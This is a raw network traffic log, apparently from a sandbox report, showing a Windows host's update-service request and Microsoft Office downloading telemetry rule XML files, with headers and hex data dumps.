2024-11-11 13:32:54 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1gVZwNE19FHhUY5&MD=zutHWYRy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 13:32:54 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 3509a59a-d661-48ff-8044-1550f29adf8e MS-RequestId: 8dcac65e-4e3a-4a0c-a153-20cdf8d73a70 MS-CV: oYMBapGEpEeMIIcp.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 13:32:53 GMT Connection: close Content-Length: 30005
2024-11-11 13:32:54 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-11 13:32:54 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:32:59 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 18:56:51 GMT ETag: "0x8DD00F04568BDCF" x-ms-request-id: a2ad2bd1-f01e-0096-27d5-3310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133259Z-174f784596886s2bhC1EWR743w0000000530000000006g9k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:32:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-11 13:32:59 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c8cfd17a-b01e-0053-1cd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968vqt9xhC1EWRgten00000004y000000000e8m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0eb2a1cd-301e-0020-44d5-336299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f78459685m244hC1EWRgp2c00000004y0000000001ftb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 33d009d3-501e-007b-36d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968jrjrxhC1EWRmmrs000000054000000000a5ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:00 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:00 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 45cb36d2-601e-0070-3cd5-33a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133300Z-174f7845968glpgnhC1EWR7uec0000000580000000001b3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:00 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
